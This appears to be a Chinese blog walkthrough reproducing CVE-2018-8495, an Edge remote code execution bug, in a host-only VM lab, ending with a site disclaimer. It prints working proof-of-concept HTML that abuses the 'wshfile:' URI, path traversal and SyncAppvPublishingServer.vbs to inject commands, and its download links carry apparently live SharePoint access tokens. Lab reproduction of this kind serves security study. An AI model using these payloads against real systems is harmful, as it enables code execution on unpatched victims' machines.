软件介绍:
Microsoft Edge是微软基于Chromium 开源项目及其他开源软件开发的网页浏览器。
漏洞概述:
攻击者可以利用该漏洞,通过Microsoft Edge浏览器在远程计算机上运行恶意代码
影响版本:
Windows Edge/IE 11,主要是windows 系统自带的Edge,具体如下:
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows 10 Version 1703 for x64-based Systems
Windows 10 Version 1703 for 32-bit Systems
Windows 10 Version 1709 for 32-bit Systems
Windows 10 Version 1709 for 64-based Systems
Windows Server, version 1709 (Server Core Installation)
Windows 10 Version 1803 for 32-bit Systems
Windows 10 Version 1803 for x64-based Systems
Windows Server, version 1803 (Server Core Installation)
搭建靶场:
本次使用windows 虚拟机cn_windows_10_multi-edition_version_1709_updated_dec_2017_x64_dvd_100406696 作为靶机,下载地址如下:
https://clemon.sharepoint.com/sites/MSDN/_layouts/15/download.aspx?UniqueId=066ca4a3-6d4a-56f1-bb96-c428718d729f&Translate=false&tempauth=v1.eyJzaXRlaWQiOiI4OWIwZTVlNS0yYjVmLTRiMmMtOTI3ZS0zYWI4MWQzNzFlNzAiLCJhcHBfZGlzcGxheW5hbWUiOiJPbmVNYW5hZ2VyIiwiYXBwaWQiOiI3MzRlZjkyOC1kNzRjLTQ1NTUtOGQxYi1kOTQyZmEwYTFhNDEiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvY2xlbW9uLnNoYXJlcG9pbnQuY29tQGZlODdiNjYzLTg5MDktNDJkYi05YWVhLTk2ZjJkZWM1NmNkMCIsImV4cCI6IjE3MjI4MjM0MjQifQ.CgoKBHNuaWQSAjY0EgsIvr30yo-9mj0QBRoOMjAuMTkwLjE0NC4xNjkqLDBRNGNxSFlxWHZlR2dWWStlNmZORGlDV1p3YVpGSEtmYlBxTjNwZEdqVm89MIABOAFCEKFDI9JDEAAwjMR6PHpIDbBKEGhhc2hlZHByb29mdG9rZW5yKTBoLmZ8bWVtYmVyc2hpcHwxMDAzMjAwMjkxZTVlM2MxQGxpdmUuY29tegEyggESCWO2h_4JidtCEZrqlvLexWzQkgEEWElZVZoBBENIRU6iARpjeHlAY2xlbW9uLm9ubWljcm9zb2Z0LmNvbaoBEDEwMDMyMDAyOTFFNUUzQzGyAR1hbGxmaWxlcy53cml0ZSBhbGxzaXRlcy53cml0ZcgBAQ.9b36lqNQ5rjIMbeVmv9s8qjR9mJoJpdUGERw7hiabQ0&ApiVersion=2.0
下载完成之后,使用vmware 创建虚拟机,设置网络为仅主机模式。防止联网,造成浏览器更新。
搭建完成,如下:
漏洞复现:
(CVE-2018-8495)漏洞原因主要是 Microsoft Edge 滥用自定义URI方案,参数过滤存在问题从而实现了远程代码执行。
样例,Microsoft Edge 启动默认邮件客户端。
在一些网页中,头像下面是有一个邮件的按钮的,点击就可以启动默认邮件客户端来发送邮件。
我们也可以通过类似”mailto:[email protected]“的URL来启动本地的默认邮件客户端。在Edge中,输入类似的URL将出现提示:“‘Microsoft Edge’正在尝试打开‘邮件’”,询问用户是否切换应用。
如下图所示,某些参数将发送给Outlook。然而这些参数,是可由用户控制的字符串来进行更改的
因此,也就产生了问题,Microsoft Edge 还有哪些外部应用程序启动URI方案?根据漏洞纰漏,在注册表中,可以找到所有可以使用的注册自定义协议,注册表 计算机\HKEY_CLASSES_ROOT\ 内包含shell\open\command子文件夹的子项。然后,作者找到了 计算机\HKEY_CLASSES_ROOT\ms-word\shell\open\command 这个注册表项,它的值为 C:\Program Files (x86)\Microsoft Office\root\Office16\protocolhandler.exe "%1"。这指向Office16文件夹内一个名为protocolhandler.exe的可执行程序,%1表示直接将参数进行传递,这意味着如果我们有一个用户点击一个URL标记,指向’ms-word:test’,将会启动该程序,然后发生以下情况:
作者没有去尝试其他的命令行参数来启动’protocolhandler.exe’进而实现一些有趣的攻击方法。他找到 计算机\HKEY_CLASSES_ROOT\WSHFile\Shell\Open\Command 这个子项,如图所示:
Windows脚本宿主提供了一个环境,用户可以使用各种语言执行脚本,使用各种对象模型来执行任务,这可以将用户构造好的参数通过URI方案直接传递给’WScript.exe’。原文中讲到:如果用户点击”wshfile:test”,Edge 将会弹出提示,问用户是否选择”Microsoft @ Windows Script Host”打开此wshfile。
回车
提示该文件不存在。我们可以创建一个名为”wshfile:test”的文件吗?Windows系统中文件名是不能有冒号的,所以,不可行。通过路径穿越测试如下:
wshfile:test/../../foo.vbs
发现提示改变了,这说明我们可以指向任何目录中的任何文件,只要我们可以将文件放在可预测的位置,我们就会有RCE。但是,看起来大多数(如果不是所有)来自Edge的缓存文件都会进入临时目录位置(目录名通常为某个hash值)。换句话说,我们可以写入文件,但是我们还不能得知该文件的位置。
作者想到了一篇文章:WSH注射:案例研究
https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
在这篇文章中,指出Windows附带了一个签名的VBS ‘C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs’ 遭受’WSH注入’的困扰。这表明特定的VBS文件可以接收传递给它的2个参数,这些参数可以精心设计,以使其可以欺骗VBS脚本执行任意命令。这篇文章写在2017年9月3号,漏洞已经修复,唯一受影响的是尚未更新的计算机。所以这还没有用,该文章中提到有更多这样的案例存在但没有具体说明,因此作者开始寻找类似的案例。
作者首先查看了我在Windows中找到的每个VBS文件,然后查看它是否接受任何参数。他发现一个VBS脚本:
C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.17134.48_none_c60426fea249fc02\SyncAppvPublishingServer.vbs
这个特定的脚本接受一些参数并将它们传递给powershell.exe shell执行而不过滤它,允许我们注入任意命令。如果你看看’SyncAppvPublishingServer.vbs’的第36行,我们看到:
psCmd = “powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command&{”&syncCmd&“}”
‘syncCmd’、Edge都不会对引号进行过滤,因此我们可以根据需要传递尽可能多的参数’WScript.exe’。同样为了将这个powershell隐藏执行,可以使用’-WindowStyle Hidden’这个参数。
此版本中的问题是此特定文件夹名称取决于用户所在的Windows构建。在我的操作系统版本17134中,该文件夹包含’10 .0.17134’,如果您使用的是其他操作系统,则它将不同。
根据提示,漏洞发现者给出的poc 如下:
<a href='wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a> <script> window.onkeydown=e=>{ window.onkeydown=z={}; q.click() } </script>
因此,第一步,我们在C:\Windows\WinSxS 路径下搜索SyncAppvPublishingServer.vbs
发现 C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.16299.98_none_ef3e42793963ac4c\SyncAppvPublishingServer.vbs 符合要求
因此,接下来修改 poc.html 如下:
<a href='wshfile:test/../../WinSxS/amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.16299.98_none_ef3e42793963ac4c/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a> <script> window.onkeydown=e=>{ window.onkeydown=z={}; q.click() } </script>
在poc.html 所在的目录下,开启一个http服务
python -m http.server 80
使用靶机访问:poc.html
点击test
弹出计算器
但是作者说在Windows文件夹中有一个名为“DOS PATH”的速记版本,所以猜测文件夹位置的DOS路径版本是可能的。
所以,我们的不需要猜测完整路径。因此作者给出的路径如下:
C:\Windows\WinSxS\AMD921~1.48_\SyncAppvPublishingServer.vbs
查找资料:
在 Windows 中,文件系统支持长文件名(LFN),但为了兼容旧版系统,Windows 也提供了短文件名(8.3 文件名格式)。这种格式是 DOS 时代的遗产,用于表示文件和文件夹的短文件名。短文件名格式通常只有 8 个字符用于文件名和 3 个字符用于扩展名。
本次复现查找DOS PATH,在C:\Windows\WinSxS 路径下,执行如下脚本查找匹配的短文件名
dir /x |findstr "amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.16299.98_none_ef3e42793963ac4c"
因此我们的POC 还能改变成如下:
<a href='wshfile:test/../../WinSxS/AM2E5D~1.98_/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a> <script> window.onkeydown=e=>{ window.onkeydown=z={}; q.click() } </script>
后续使用了cn_windows_10_business_edition_version_1803_updated_aug_2018_x64_dvd_57e5b984系统
https://clemon.sharepoint.com/sites/MSDN/_layouts/15/download.aspx?UniqueId=257450e7-aa82-5665-8b14-5eaa3f30e1b1&Translate=false&tempauth=v1.eyJzaXR
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)